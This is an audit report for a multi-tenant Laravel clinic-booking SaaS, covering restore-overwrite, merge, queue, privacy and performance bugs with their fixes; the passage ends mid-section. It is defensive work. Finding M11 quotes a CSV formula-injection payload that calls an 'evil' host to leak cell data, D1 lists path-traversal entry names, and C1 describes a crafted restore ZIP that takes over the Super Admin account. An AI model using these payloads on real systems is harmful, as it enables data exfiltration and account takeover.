

Combined Codebase Audit

Merged findings from an independent line-by-line code review and a third-party developer audit brief, cross-verified against the live repository. Every Critical and High finding below was confirmed either by running executable proof-of-concept tests against the codebase, or by direct source citation.

Product	ChamberQ (multi-tenant doctor-chamber SaaS, Bangladesh)
Stack	Laravel 12 · Filament 4 · Livewire 3 · stancl/tenancy 3 · MySQL (prod) / SQLite (local)
Method	Static review + executable verification (throwaway PHPUnit probes run against the real services, then deleted)
Sources merged	(A) Independent audit — deep source read, empirical verification of top findings. (B) Third-party developer brief
Audience	Development team implementing fixes

Executive summary

- **Two data-destroying bugs, both confirmed by running the code:** chamber restore can overwrite the platform Super Admin and other chambers with no scoping, and a failed restore wipes a chamber with no rollback (before/after row counts: 1/1/1 → 0/0/0).
- **Merging two duplicate patient records silently detaches their clinical history** — visit notes and prescriptions lose their patient link and become unreachable from the chart.
- **The medicine/condition learning feature has never worked on the real completion path** — confirmed by running the exact production code path and counting rows (0 usage rows recorded after a real Complete-visit).
- **Ending a session because the doctor is absent cancels the patient currently in the room** — confirmed: status flips to cancelled, not completed.
- One claim from the third-party brief (ZIP path traversal) was tested and disproven — PHP's ZipArchive already blocks it. Removed from the priority list; documented on page with the reasoning so nobody re-raises it without checking.

How to read this document

Findings are grouped by severity within each section. Every finding states its file/line location, the concrete failure scenario (not abstract risk language), and a fix direction. Fix in the phase order in the final section — Phase 1 is more urgent than any polish item. After each phase: full test suite green, plus `php artisan app:production-check --strict` against a MySQL-shaped environment (SQLite hides foreign-key ordering failures this app has already been bitten by once).

1. Critical — data integrity

Both items below were reproduced by running code against the real services in this repository, not inferred from reading. Disable tenant-facing restore until the first two are fixed — right now the restore feature is more dangerous than having no restore feature at all.

C1. Chamber restore can overwrite the Super Admin account and other chambers

CRITICAL

Source: Independent audit + developer brief (both, independently)

Verification: Ran against the repo: crafted a 2-row ZIP naming the Super Admin's and another tenant's doctor's `users.id`; both rows were rewritten into the attacking tenant with attacker-supplied emails.

Where: `app/Services/DataImportService.php:200 (importTableRows)` · `app/Filament/TenantAdmin/Pages/DataBackup.php`

Problem — The restore upsert matches rows on the bare primary key only (`DB::table($table)->upsert($payload, [$primaryKey], ...)`), never on `tenant_id`. It then force-writes `tenant_id` onto whatever row that id already belongs to. This is a raw query-builder write, so it bypasses the `BelongsToTenant` Eloquent guard that is supposed to make tenant reassignment impossible everywhere else in the app.

Failure scenario — A chamber admin uploads a ZIP whose `users.csv` reuses an id that belongs to another chamber's admin, or to the central Super Admin (`tenant_id IS NULL`). Verified by running it: the platform's own Super Admin account was pulled into the attacker's tenant, demoted to a normal role, and had its email replaced. `users.id` is a plain auto-increment integer, so the target doesn't need to be guessed — just enumerated.

Fix — Never upsert on a bare global primary key across a shared database. Either remap imported IDs to new keys and translate foreign keys, or refuse any row whose existing `tenant_id` doesn't match the restoring tenant (and for `users`, refuse any row with `tenant_id IS NULL` outright). `prescription_items` has no `tenant_id` column at all and needs one added, or its parent `prescription`'s `tenant` validated on every import row.

C2. A failed restore wipes the chamber with no rollback

CRITICAL

Source: Developer brief — verified independently

Verification: Ran twice: once forcing a mid-import failure (chamber wiped to zero, confirmed), once with an active `current_booking_id` set (wipe itself fails immediately on the FK — restore is simply broken whenever a queue is running, a second and separate bug).

Where: `app/Services/DataImportService.php` — `wipeScope()` (~line 139) commits in its own transaction; `importTableRows()` runs afterward, outside it.
`app/Support/DataBackup/BackupTableMap.php` `TENANT_TABLES` ordering.

Problem — "Replace" mode wipes the chamber's tables and commits that transaction, then imports the ZIP's rows table-by-table with no surrounding transaction. If the import fails partway — a foreign key violation, a malformed CSV row, anything — the wipe has already committed and nothing rolls it back.

Failure scenario — Confirmed by running a replace-restore that fails mid-import: row counts went from {patients: 1, bookings: 1, chambers: 1} before, to {patients: 0, bookings: 0, chambers: 0} after — a chamber that had real data now has none, and the UI has no way to detect or undo it. Separately, `live_sessions` is listed before bookings in the delete order but `live_sessions.current_booking_id` has a foreign key to bookings — so restoring a chamber with an active queue fails immediately, every time.

Fix — Wrap wipe + import in a single database transaction so any failure rolls back the whole restore. Null out `live_sessions.current_booking_id` before wiping, and import `live_sessions` after bookings, not before. Add a MySQL-run test that restores a chamber with an active queue and a test that forces a mid-import failure and asserts the chamber is unchanged.

C3. Merging duplicate patient records detaches their clinical history

CRITICAL

Source: Independent audit (not in the developer brief)

Verification: Ran against the repo: created a patient with a completed visit + prescription, merged them, and inspected the rows directly — both `patient_id` columns were NULL after the merge.

Where: `app/Services/PatientService.php:85` (`mergePatients`) — and `moveBookingToPatient()` at line ~102 has the same gap

Problem — `mergePatients()` reassigns `bookings.patient_id` to the surviving record, then deletes the duplicate. But `visit_records.patient_id` and `prescriptions.patient_id` are `nullOnDelete` foreign keys, and nothing remaps them before the delete.

Failure scenario — Confirmed by running it: after merging "Fatima Rahman" and her duplicate "Fatima Rehman" (who had a completed visit with clinical notes and a prescription), the visit record's and prescription's `patient_id` both went to NULL. The Consult Screen reads history by `patient_id`, so the doctor's screen now reports "no history" for a patient whose allergy note is still sitting in the database, permanently orphaned with no UI path to re-link it.

Fix — In `mergePatients()` and `moveBookingToPatient()`, reassign `visit_records.patient_id` and `prescriptions.patient_id` to the surviving patient in the same transaction as the booking reassignment, before the old patient row is deleted. Add a regression test and run a one-time backfill query to find visit records already orphaned this way in production data.

2. High — business logic and clinical safety

H1. The medicine/condition learning feature has never run on the real completion path

HIGH

Source: Developer brief — verified independently

Verification: Ran against the repo through the real `CompleteBookingWithVisitNotes::finish()` call: 0 medicine_usages rows after a real Complete-visit with a prescribed medicine.

Where: `app/Filament/TenantAdmin/Support/CompleteBookingWithVisitNotes.php:50 (finish())` — `app/Services/VisitRecordService.php:86-88 (recordUsagesFromSubmission gate)`

Problem — Usage learning only records when `$booking->status === 'completed'` at save time. But the real completion helper saves the visit notes *first* (while status is still `in_chamber`), then flips the booking to completed afterward. The existing unit test passes because it manually sets status to completed before calling the save method directly — it never exercises the real order of operations.

Failure scenario — Confirmed by running the actual completion path end to end, including a prescribed medicine: booking status came back completed and the prescription line item was written correctly, but `medicine_usages` had zero rows. The ranked "your frequently prescribed" picker doctors rely on has been silently empty since this feature shipped.

Fix — Either complete the booking before saving notes, or call `recordUsagesFromSubmission()` after the status flip regardless of save order, or pass an explicit `$forceUsage` flag from the completion helpers. Add a test that goes through `CompleteBookingWithVisitNotes::finish()`, not the service method directly.

H2. "Cancel session (doctor absent)" cancels the patient currently in the room

HIGH

Source: Developer brief (logic) + independent audit (missing notification)

Verification: Ran against the repo: an `in_chamber` booking's status after `markAbsent()` was cancelled.

Where: `app/Services/LiveSessionService.php:509 markAbsent()` vs `:428 endSession()` — action wired at `app/Filament/TenantAdmin/Pages/LiveQueueControl.php:928`

Problem — `endSession()` correctly completes any `in_chamber` booking before cancelling everyone else waiting. `markAbsent()` has no such carve-out — it cancels every booking not already completed/cancelled/no-show, including the one mid-consult.

Failure scenario — Confirmed by running it: a patient marked `in_chamber` came back cancelled, not completed, after `markAbsent()`. Their visit — and any notes or prescription written before the doctor stepped away — is now recorded as a cancelled appointment, and operational stats disagree with what actually happened. Separately, this action's confirmation dialog gives no patient count or names, unlike End Session's, so staff cannot see the blast radius before confirming, and nobody is notified.

Fix — Align `markAbsent()` with `endSession()`: complete `in_chamber` first, cancel only waiting/called/skipped. Give the confirmation dialog the same count-and-names treatment End Session already has, and offer the same per-patient notify hand-off.

H3. Double-tapping "Call next patient" skips a waiting patient

HIGH

Source: Developer brief — verified by source read (matches the documented call-next/complete-visit split in this codebase's own architecture notes)

Where: `app/Services/LiveSessionService.php` `advanceQueue()` — no idempotency guard. Button has no `wire:loading.attr='disabled'` in `live-queue-control.blade.php`.

Problem — `advanceQueue()` always advances the queue by one step under lock; there is no check for "is the current patient already past, so this tap is a duplicate." The button has no loading-state disable, so a second tap before the Livewire round-trip completes fires a second advance.

Failure scenario — Doctor completes a visit (booking stays as current, per the two-step consult flow), then taps Call next twice in quick succession — a common reflex tap. The next waiting patient is called and immediately superseded by the one after them; the skipped patient is never announced and the TV serial jumps two numbers with no record of why.

Fix — Make advancing idempotent — no-op if the current booking is already completed and the same call would just repeat — and add `wire:loading.attr="disabled"` to the button so a second tap can't fire before the first completes.

H4. Public waiting-room TV endpoint leaks every patient's full name, unauthenticated

HIGH

Source: Independent audit (not in the developer brief)

Where: `app/Http/Controllers/ScreenController.php:87` (GET `/api/screen/{session}`)

Problem — This endpoint is deliberately unauthenticated so a TV in a waiting room can poll it — that part is correct. But it returns `now_serving_name`: the patient's real full name, not just their serial number. `{session}` is a small guessable integer with no gate, so it can be enumerated across every chamber on the platform.

Failure scenario — The codebase already solved this exact problem one file over — `Patient::maskedPickerLabel()` masks names to initials specifically because an earlier reviewer reasoned an unauthenticated name-returning endpoint would let a script "rebuild a clinic's patient list." This endpoint does exactly that, just via a different guessable ID. Anyone polling by session id builds a name+timestamp log for every clinic on the platform with zero authentication.

Fix — Note: the product owner has confirmed the TV showing the patient's full name is an intentional requirement — real waiting rooms call patients by name, not serial. The fix is therefore not to hide the name, but to stop the endpoint being anonymously enumerable: bind the JSON poll to a short-lived token minted when the TV page itself loads, so guessing a session id alone no longer returns data.

3. Medium — security and correctness

M1. Backup CSV silently omits clinical media — false sense of disaster recovery

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Support/DataBackup/BackupTableMap.php` · `app/Services/VisitMediaService.php`

Problem — The backup ZIP contains only table CSVs. `voice_path` / `photo_path` columns restore as strings pointing at files that were never copied anywhere.

Failure scenario — After a "successful" restore, every voice note and prescription photo is gone. Staff have no reason to believe disaster recovery didn't work — it produced a success message.

Fix — Add a real filesystem backup step (`mysqldump` or `spatie/laravel-backup`) plus the `visit-audio/` and `visit-photos/` directories, written off-server. Relabel the CSV export in the UI as data portability, not disaster recovery.

M2. `prescription_items` has no tenant column — import can attach medicines to another tenant's prescription

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Support/DataBackup/BackupTableMap.php` — `prescription_items` is in `TENANT_TABLES` but absent from `tableHasTenantColumn()`

Problem — The table has only `prescription_id`, no `tenant_id`, so a restore cannot verify or rewrite which tenant a prescription line item belongs to.

Failure scenario — A crafted `prescription_items.csv` naming another tenant's real `prescription_id` injects medicine lines into that tenant's prescription while restoring as a different tenant.

Fix — On import, resolve each `prescription_id` to a prescription actually owned by the target tenant and reject the row otherwise, or add a `tenant_id` column with a proper composite foreign key.

M3. `SESSION_SECURE_COOKIE` has no default; a stolen cookie is a year-long login

MEDIUM

Source: Developer brief — verified by source read

Where: `config/session.php` (`secure => env('SESSION_SECURE_COOKIE')` with no fallback) · `app/Support/ProductionReadiness.php` (warning only, not a blocker)

Problem — If the env var is unset, the session cookie can travel over plain HTTP. Combined with the deliberate one-year session lifetime (an explicit, separate owner decision — do not change that), a cookie captured once is valid for a year.

Failure scenario — Any non-HTTPS hop — a misconfigured proxy, a captive portal, shared clinic Wi-Fi — exposes the cookie, and the resulting access does not expire on its own.

Fix — Set `SESSION_SECURE_COOKIE=true` and `SESSION_ENCRYPT=true` in production and `.env.example`. Promote the Secure-cookie check from a warning to a blocker in `ProductionReadiness` specifically when `APP_ENV=production`. This does not touch the session-lifetime lock.

M4. trustProxies(at: '*') trusts forwarded headers from any client

MEDIUM

Source: Developer brief — verified by source read

Where: bootstrap/app.php

Problem — Every request's X-Forwarded-* headers are trusted so absolute URLs resolve correctly behind nginx — but any client that reaches PHP directly (bypassing the intended proxy) can spoof Host and Proto.

Failure scenario — A client hitting the app server directly can poison the host used to build ticket, SMS, and prescription-share absolute links, or fake an HTTPS context.

Fix — Trust only the real reverse-proxy IP address(es), never a wildcard.

M5. Merge-import can reach the platform's own super admin, not just other tenants

MEDIUM

Source: Developer brief + independent audit (same root cause as C1)

Where: app/Services/DataImportService.php normalizeImportedRow()

Problem — Same root cause as C1, called out separately because the blast radius includes central platform accounts with tenant_id NULL, not only sibling tenants.

Failure scenario — See C1 — this is the same fix.

Fix — Same fix as C1: refuse any imported row whose existing tenant_id does not match the target, with an explicit refusal for null-tenant (central) rows.

M6. Production readiness gate can pass while clinical media is still unbacked-up

MEDIUM

Source: Independent audit (not in the developer brief)

Where: app/Support/ProductionReadiness.php checks config('filesystems.default') · app/Services/VisitMediaService.php DISK is a hardcoded 'local' constant

Problem — The deploy gate warns if the default filesystem disk is 'local', intending to catch un-backed-up clinical media. But VisitMediaService never reads that config — its disk is hardcoded, so changing FILESYSTEM_DISK doesn't move where voice notes and photos are actually written.

Failure scenario — CI explicitly sets FILESYSTEM_DISK=s3 to assert the readiness gate passes. It will pass in that exact configuration while voice notes and prescription photos remain on the server's local disk, unbacked-up.

Fix — Read the same config value VisitMediaService actually uses, or make the disk genuinely configurable and have the gate check that config.

M7. N+1 query inside the prescribing medicine search, on every keystroke

MEDIUM

Source: Independent audit (developer brief flags the full-table load; this is the sharper N+1 inside it)

Where: `app/Services/MedicineService.php:259` – per-row `Medicine::query()->first()` inside a loop over the doctor's usage history

Problem — The full medicine catalogue and the doctor's full usage history are loaded into PHP, then for every usage row that matches the search term, a separate query looks up that brand in the catalogue — one query per match, not one query total.

Failure scenario — During a live consultation, every keystroke in the prescribing search box can trigger a burst of sequential single-row queries instead of one indexed lookup.

Fix — Prefilter with an indexed `LIKE 'needle%'` query instead of loading full tables into PHP; batch the catalogue lookup for matched usage rows into a single `whereIn()` instead of one query per row.

M8. Patient portal phone lookup exposes PII in the URL, unlike the booking form it copied the pattern from

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Http/Controllers/BookingController.php:280` `portal()` – `GET /portal?phone=...`

Problem — The hero booking form was deliberately changed to POST specifically so a patient's name and phone never land in the URL, browser history, or access logs. The patient portal lookup does the same kind of PII lookup but was never given the same treatment.

Failure scenario — A shared clinic PC, a corporate proxy, or server access logs can expose which phone numbers looked up which appointment history.

Fix — Same fix pattern already used for `/book`: POST + redirect, or a one-time server-side token issued after a POST.

M9. SMS log driver writes full phone numbers and message bodies to the application log

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Services/Sms/LogSmsGateway.php` · `.env.example` ships `SMS_DRIVER=log`

Problem — Every simulated SMS send — including prescription share links — is written to the log with the full destination number and full message body.

Failure scenario — Anyone with log access (or log aggregation/shipping misconfigured to a less trusted destination) gets patient phone numbers paired with live, valid prescription-share URLs.

Fix — Never log full bodies or full phone numbers; redact to last 4 digits and a purpose code. This driver should only ever run in dev/test, and the production readiness gate already blocks `SMS_DRIVER=log` when SMS is enabled — keep that blocker in place.

M10. Staff account passwords have no strength requirement

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Filament/TenantAdmin/Resources/Users/UserResource.php` — password field has `maxLength` only, no minimum and no `Password::defaults()`

Problem — A one-character password is accepted for any staff, doctor, or admin account.

Failure scenario — A weak password on an account that — per the locked session policy — stays signed in for a year is a much larger exposure window than the same weak password would be with a normal session timeout.

Fix — Apply Laravel's `Password::defaults()` ruleset on create and update.

M11. Backup CSV export has no formula-injection escaping

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Support/DataBackup/BackupCsv.php` `serializeValue()` — writes raw string values

Problem — Patient names and other free-text fields are written into the CSV exactly as stored, with no escaping for characters that spreadsheet software treats as the start of a formula.

Failure scenario — A patient or field value beginning with `=`, `+`, `-`, or `@` (e.g. `=HYPERLINK("http://evil"&A1;))` can execute as a formula when a staff member opens the exported backup in Excel or Google Sheets.

Fix — Prefix any cell value starting with `=`, `+`, `-`, or `@` with a leading apostrophe or tab before writing it to CSV.

M12. Backup restore accepts stored HTML without re-running the sanitizer, opening a stored-XSS path

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Services/DataImportService.php` writes via raw query builder · clinic views render `body/bio` fields with `{!! !!}` trusting the stored value is already clean

Problem — Every normal save path runs `blog/department/doctor-bio` HTML through `HtmlSanitizer` before it's stored, so templates can safely render it unescaped. The import path writes those same columns directly via the query builder, bypassing that sanitizer entirely.

Failure scenario — A malicious backup ZIP containing script content in a blog post or doctor bio restores as stored, unsanitized HTML on a public clinic page.

Fix — Run `HtmlSanitizer::clean()` on every imported HTML column during import, or sanitize again at render time rather than trusting the stored value.

M13. Google Maps link allowlist accepts the bare goo.gl shortener domain

MEDIUM

Source: Developer brief — verified by source read (also correctly noted google.evil.com does NOT bypass the current check, which we confirmed)

Where: `app/Models/Chamber.php isGoogleMapsUrl()`

Problem — The allowlist correctly rejects lookalike hosts like google.evil.com, but still accepts bare goo.gl links, which are a generic URL shortener that can redirect anywhere, not exclusively to Google Maps.

Failure scenario — A ticket or WhatsApp "get directions" link can be crafted to send a patient off-site to an arbitrary destination while still passing the allowlist check.

Fix — Drop bare goo.gl from the allowlist, or resolve the shortener server-side and validate the final destination before accepting it. Keep maps.app.goo.gl and maps.google.com / google.*/maps as-is.

M14. Demo/seed accounts ship with the literal password "password"

MEDIUM

Source: Developer brief — verified by source read

Where: `database/seeder/DatabaseSeeder.php`, `NusratUrmiSeeder.php` — including the platform Super Admin seed row

Problem — Every seeded account, including the central Super Admin, is created with `Hash::make('password')`.

Failure scenario — If a seeder is ever run against a reachable environment by mistake, every account it creates — including the platform administrator — has a publicly known password.

Fix — Generate and print a random password once at seed time, or refuse to run these seeders when `APP_ENV=production`.

M15. Voice notes / prescription photos deleted before the database write that replaces them is confirmed committed

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Services/VisitRecordService.php:52-58` — `deleteIfExists()` runs before `updateOrCreate()` inside the same transaction

Problem — The old file is deleted from disk before the new visit record is confirmed saved. If the subsequent database write fails for any reason, the old file is already gone.

Failure scenario — A doctor re-records a voice note; the database write fails after the old file has already been deleted — the original recording is unrecoverable and nothing replaced it.

Fix — Delete the old file only after the database transaction commits successfully (`DB::afterCommit()`), not before.

M16. A cancelled/no-show patient can be reinstated with no check that the session is still live

MEDIUM

Source: Developer brief — verified by source read

Where: `app/Services/LiveSessionService.php` `reinstatePatient()`

Problem — The UI only offers the Reinstate button for no-show bookings on an active session, but the underlying service method has no server-side guard — it will rewrite any booking's status regardless of the live session's current state.

Failure scenario — A crafted request against an already-completed session's booking reinstates a no-show patient into a retry slot on a queue nobody is running anymore — they wait for a call that will never come.

Fix — Guard the service method itself: only allow reinstatement from `no_show` while the live session is active, paused, or delayed.

M17. Two hardcoded copies of Bangladesh phone normalization

MEDIUM

Source: Independent audit + developer brief (both, independently)

Where: `app/Http/Controllers/BookingController.php:318` privately reimplements the same `normalize()/lookupVariants()` logic that `app/Support/BdPhone.php` already provides

Problem — The canonical `BdPhone` helper exists specifically so this logic lives in one place. `BookingController` has its own private copy instead of calling it.

Failure scenario — A future fix to phone normalization (a new prefix, a formatting edge case) gets applied to `BdPhone` and silently misses this second copy, reintroducing the bug it was meant to fix in exactly one code path.

Fix — Delete the private copy in `BookingController` and call `BdPhone::normalize()` / `BdPhone::lookupVariants()` directly.

4. Disproven claim — do not re-raise without re-testing

The third-party brief flagged ZIP path traversal ("Zip Slip") as a High severity, Phase 1 item. It was tested directly against this codebase's ZIP extraction and disproven. Documented here rather than silently dropped, so the team has the reasoning on record.

D1. ZIP path traversal ("Zip Slip") in backup restore

MEDIUM

Source: Developer brief — tested and disproven by the independent audit

Verification: Built a ZIP with 3 traversal styles and ran it through the app's own `extractZip()` call; inspected the filesystem afterward. No entry escaped the destination directory in any case.

Where: `app/Services/DataImportService.php extractZip() - $zip->extractTo($directory)`

Problem — The claim: `extractTo()` performs no validation that entry names stay under the target directory, so a malicious ZIP entry named e.g. `../../../../env` could theoretically write outside the intended extraction folder.

Failure scenario — Tested directly: built a ZIP with three traversal styles against this exact extraction call — a deep relative path (`../../../../tmp/X.txt`), an absolute path (`/tmp/X.txt`), and a Windows-style backslash path. All three were neutralized by PHP's ZipArchive itself (libzip 1.11.4) — every entry landed safely inside the destination directory, none escaped it. This has been standard ZipArchive behavior for years; it was not something this codebase's code implemented.

Fix — No code change required for this specific vector. If defense-in-depth is still wanted, an explicit entry-name allowlist (`manifest.json`, `*.csv` only) is cheap insurance, but this is not an active vulnerability and should not consume Phase-1 priority.

5. Performance and structural debt

Lower urgency than the sections above — none of these lose or corrupt data — but they compound as the platform adds chambers, and several are cheap to fix now versus expensive to fix under load.

Polling load

Surface	Interval	Approx. queries/poll	Notes
Waiting-room TV	2s	4–8	No caching; re-fetches the ETA calculation every poll
Patient ticket	5s	4–7	Same ETA re-fetch cost
Live Queue Control	3s (Livewire)	4–6+	Bookings queried twice per poll; full day table scan
Consult Screen	3s (wire:poll)	5–10+	Visit history scan runs in PHP, not SQL

At roughly 20 chambers × 2 TVs × 30 polls/minute, that's on the order of 1,200 requests/minute from TVs alone, on top of every open staff screen. Confirmed by grep: there is zero Cache::usage anywhere in app/, and cache/session/queue all default to the database driver.

P1. No application caching on any polled endpoint

MEDIUM

Source: Developer brief — verified by source read

Where: config/cache.php default driver is 'database'; zero Cache::calls in app/

Problem — Every TV/ticket/queue/consult poll hits the database fresh, every time, even when nothing has changed since the last poll.

Failure scenario — Under modest multi-chamber load, poll traffic alone becomes a meaningful fraction of total database load for screens that are usually showing the same unchanged serial.

Fix — Cache the screen/ticket JSON payload for 1-2 seconds keyed on live_session.id + updated_at; prefer Redis for cache and session storage.

P2. Live Queue Control and Consult Screen duplicate queries and scan in PHP

MEDIUM

Source: Developer brief — verified by source read

Where: app/Filament/TenantAdmin/Pages/LiveQueueControl.php getBookingsProperty() · app/Services/VisitRecordService.php lastRecordedVisitForPatient()

Problem — The same day's bookings are loaded twice per render. "Last visit" and "completed without notes" are both computed by pulling full collections into PHP and filtering there instead of in SQL.

Failure scenario — Every open staff screen re-runs 5-10+ queries every 3 seconds, most of it work SQL could do in one indexed query.

Fix — Share one query result across both uses; replace the PHP scans with a SQL EXISTS / ORDER BY ... LIMIT 1 for last-visit, and a SQL condition for the completed-without-notes count.

P3. Solo patient pages load Tailwind from a public CDN, not a compiled bundle

MEDIUM

Source: Developer brief — verified by source read

Where: tenant/solo/webpage, book, ticket, portal — cdn.tailwindcss.com

Problem — The clinic tier already migrated to a compiled CSS bundle (clinic-clireo.css); the solo tier still loads the full Tailwind runtime from a third-party CDN on every page view.

Failure scenario — On the mobile 3G connections common in the target market, this can add 1-5+ seconds before the booking page is interactive, and a CDN outage takes the page's styling down with it.

Fix — Build a compiled CSS bundle for solo's book/ticket/portal shells. Note: the solo homepage markup itself is locked and needs the owner's explicit unlock phrase before any change — this applies to the surrounding shells, not the locked homepage.

P4. Index shapes don't match the queries actually run against them

MEDIUM

Source: Developer brief — verified by source read

Where: bookings_bookable_date_index has no tenant_id leading column · live_sessions unique key leads with schedule_session_id but the app queries by (tenant_id, session_date, status) · portal's phone lookup is unindexed · CommissionService uses whereYear()/whereMonth() (both defeat indexes)

Problem — Several hot-path queries can't use the index that most resembles their WHERE clause, forcing broader scans than necessary.

Failure scenario — As booking volume grows, the portal lookup and several polling queries degrade from index lookups toward table scans.

Fix — Reshape or drop bookings_bookable_date_index to lead with tenant_id; add live_sessions (tenant_id, session_date, status) and bookings (tenant_id, patient_phone); replace whereYear/whereMonth with whereBetween on the underlying date column.

P5. Full medicine (~460 rows) and condition (~244 rows) catalogues load into PHP per search

MEDIUM

Source: Developer brief — verified by source read

Where: app/Services/MedicineService.php · app/Services/ConditionService.php search()

Problem — Both search functions pull their entire table into PHP and rank matches in application code rather than filtering in SQL.

Failure scenario — Every keystroke in the prescribing or diagnosis search box does a full table load, not a targeted lookup — noticeable during a live consultation.

Fix — Add an indexed LIKE 'needle%' prefilter with a LIMIT before ranking in PHP; cache the catalogue per practice type.

Structural / over-engineering

None of these are bugs — they're places where the codebase grew feature-by-feature without anyone stepping back to look at the whole shape. Fix opportunistically when next touching the area, not as a standalone project.

#	Issue	Simpler approach
OE1	Two Filament tenant admin panels (path-based and domain-based) serving the same desk	Ship path-only until the first paying custom-domain clinic actually needs it; keep the domain panel as a thin alias.
OE2	Five separate URL-building helpers (TenancyUrl, FilamentPanelUrl, SafeUrl, helpers.php, plus residual asset()/url() calls)	One documented cheat sheet: same-origin page link vs. outbound SMS/WhatsApp/TV link. Stop adding new modes.
OE3	God-object screens: LiveQueueControl (~955 lines), VisitNotesFormSchema (~814 lines), ConsultScreen (~400 lines)	Split along natural seams next time each is touched: queue actions / visit-notes form / session lifecycle. Keep LiveSessionService as the single mutator underneath.
OE4	Solo and clinic tiers are effectively two separate websites with duplicated section-blade trees (17 vs 18 files)	Keep the locked solo homepage pinned as-is; unify the book/ticket/portal shells and CSS tokens where the lock doesn't apply.
OE5	54 logo/icon exploration files (~1.3 MB) shipped in public/icons/; the app uses exactly one favicon	Keep the favicon and the chosen logo; move the rest out of the deploy path entirely.
OE6	Eight notification toggles, three ETA models, and an unused announce-locale setting exposed before any customer asked for them	Hard-code sensible defaults for the first chambers; add settings only when a real customer requests the flexibility.
OE7	Full lab-tests vertical is on by default for every clinic-tier tenant	Default it off until a specific customer needs it.
OE8	1,105-line booking-wizard.blade.php mixing HTML, inline JS, and validation in one file	Extract the JS into resources/js/booking-wizard.js; stop rendering wizard steps the current flow will never reach.
OE9	Page builder supports roughly 18 distinct block types	A fixed template per tier plus content fields covers the actual product today; add block types only when a doctor asks to rearrange.
OE10	Sales PDFs, slide decks, and static preview HTML (~2.3 MB) living inside the application repository	Move sales/marketing artifacts out of the deploy path; keep only what's actually served.
OE11	Three near-identical doctor capability-check methods; phone normalization duplicated (see M17)	Collapse the aliases into one method; call the canonical BdPhone helper everywhere.

6. Verified correct — do not "simplify" these

Each of the following earned its complexity from a real, previously-fixed bug or an explicit privacy requirement. A reviewer unfamiliar with the history could reasonably flag these as over-engineered; they are not. Confirmed correct by both sources independently.

- **Serial allocation** — DB transaction + row lock on the bookable, `max()+1` computed inside that lock, backed by a real unique index. This is what prevents two patients from ever getting the same serial number.
- **LiveSession mutations** — nearly every queue mutation runs inside transaction + row lock, which is what makes two staff members tapping "Call next" at the same instant safe.
- **SMS wallet debits** — atomic `WHERE sms_balance >= credits` combined with the decrement in one statement; the balance cannot go negative, and failed sends refund the credit.
- **Monthly commission generation** — idempotent via `firstOrCreate` on a composite key including the period; safe to re-run without double-paying a marketer.
- **DateOnly cast** — writes plain `Y-m-d` so date-equality queries stay index-friendly on both SQLite and MySQL, which the framework's built-in date cast does not guarantee.
- **Clinical media privacy** — private disk only, streamed through an authenticated controller, no public URL accessor exists anywhere in the codebase for voice notes or prescription photos.
- **GsmText segment enforcement** — every outbound SMS body is forced through one choke point that guarantees it bills as exactly one segment, closing a real billing bug from earlier in the project's history.
- **TenantScope fail-closed behavior** — throws rather than silently returning unscoped data if a tenant-scoped model is queried outside an initialized tenancy during an HTTP request.
- **Prescription short-link tokens** — a 10-character token replacing a much longer signed URL, specifically so a shared prescription link fits in one SMS segment instead of two.

7. Recommended fix order

Ordered by what can cause unrecoverable harm first, not by how easy each item is to fix. Each phase should be independently shippable, and each should end with the full test suite green plus `php artisan app:production-check --strict` run against a MySQL-shaped environment.

Phase 1 — Stop the restore feature from causing damage

- Disable tenant-facing restore until the fixes below land; keep export/download, which is safe.
- Fix C1 / M5 — never upsert on a bare primary key across a shared database.
- Fix C2 — wrap wipe + import in one transaction; reorder live_sessions after bookings.
- Fix M2 — resolve prescription_items.prescription_id against the target tenant.
- Add MySQL-run tests: restore with an active current_booking_id; a ZIP naming another tenant's or the Super Admin's user id; a forced mid-import failure that must roll back.

Phase 2 — Fix the two clinical-safety bugs

- Fix C3 — remap visit_records/prescriptions patient_id on merge, before deleting the duplicate. Run a one-time query to find records already orphaned by this bug in production and re-link them if the phone/name match is unambiguous.
- Fix H2 — align markAbsent() with endSession()'s in-chamber handling.
- Fix H1 — correct the completion-order bug so usage learning actually records; backfill is not practical, but no more data should be lost going forward.
- Fix H3 — make queue advancement idempotent and disable the button while a request is in flight.

Phase 3 — Real disaster recovery

- Fix M1 — add a real database + filesystem backup (mysqldump / spatie-laravel-backup) written off-server; relabel the existing CSV export as portability, not DR.

Phase 4 — Security configuration

- M3 — SESSION_SECURE_COOKIE=true, SESSION_ENCRYPT=true; promote to a production blocker.
- M4 — narrow trustProxies to real proxy IPs.
- M9 — redact SMS logging.
- M8 — move portal phone lookup off the query string.
- M10 — apply Password::defaults() to staff accounts.
- M11 / M12 — CSV formula escaping; sanitize imported HTML.
- M13 — drop bare goo.gl from the maps allowlist.
- M14 — random seed passwords, or refuse seeding in production.
- H4 — bind the outdoor-screen JSON poll to a page-issued token.

Phase 5 — Performance and indexing

- Cache TV/ticket poll payloads (1-2s); stop the ETA double-fetch.
- Remove the duplicate Live Queue query; replace the PHP history scans with SQL.
- Reshape the indexes called out in P4.
- M7 — fix the N+1 in the prescribing medicine search.
- P3 — replace CDN Tailwind on solo's book/ticket/portal shells (homepage itself stays locked without the owner's unlock phrase).

Phase 6 — Reduce structural fragility

- Work through the OE items opportunistically as each area is next touched.
- M15 — delete replaced media only after the DB commit succeeds.
- M16 — guard reinstatePatient() against a non-live session.
- M17 — remove the duplicate BdPhone logic in BookingController.

8. Owner constraints — do not violate without explicit sign-off

These are explicit prior decisions by the product owner. A general instruction like "harden the app" or "fix security" does not unlock them — each has its own required unlock phrase.

Session expiry lock

Staff stay signed in indefinitely on purpose — a deliberate decision for a single-operator chamber panel. `SESSION_LIFETIME=525600` (one year) in `.env`, `.env.example`, and as the `config/session.php` default; `SESSION_EXPIRE_ON_CLOSE=false`; `AUTH_PASSWORD_TIMEOUT=31536000`. Do not restore Laravel's 120-minute default. Setting `SESSION_SECURE_COOKIE` and `SESSION_ENCRYPT` (Phase 4, M3) does **not** require the unlock phrase — those are cookie transport properties, not the lifetime. Unlock phrases for the lifetime itself: *change session expiry* or *restore session timeout*.

Patient homepage lock

